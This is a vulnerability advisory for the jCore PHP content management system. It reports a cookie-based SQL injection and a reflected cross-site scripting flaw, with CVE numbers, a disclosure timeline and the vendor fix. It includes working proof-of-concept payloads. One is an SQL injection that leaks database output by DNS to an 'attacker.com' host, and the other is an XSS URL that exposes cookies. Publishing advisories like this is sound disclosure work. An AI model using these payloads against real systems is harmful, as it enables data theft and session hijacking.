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Multiple vulnerabilities in jCore

Advisory ID:HTB23107
Product:jCore
Vendor: Istvan Petres
Vulnerable Versions:1.0pre and probably prior
Tested Version:1.0pre
Advisory Publication:August 1, 2012 [without technical details]
Vendor Notification:August 1, 2012
Vendor Fix:August 12, 2012
Public Disclosure:October 17, 2012
Latest Update:August 13, 2012
Vulnerability Type:SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-4231
CVE-2012-4232
Risk Level:High
CVSSv2 Base Scores:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in jCore, which can be exploited to perform Cross-Site Scripting (XSS) and SQL Injection attacks.


1) SQL Injection in jCore: CVE-2012-4232

1.1 Input passed via the "memberloginid" COOKIE parameter to /admin/index.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

GET /admin/?logout=1 HTTP/1.1
Cookie: memberloginid=' OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) --


2) Cross-Site Scripting (XSS) in jCore: CVE-2012-4231

2.1 Input passed via the "path" GET parameter to /admin/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27


Solution:
As a temporary solution upgrade to version 1.0pre2:
http://jcore.net/news/jcore-ver-10pre2-available-for-testing

Final fix will be available in version 1.0 soon.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23107 - https://www.htbridge.com/advisory/HTB23107 - Multiple vulnerabilities in jCore.
[2] jCore - http://jcore.net/ - jCore is a free and open source content management system (CMS) written in PHP and distributed under the GNU General Public License.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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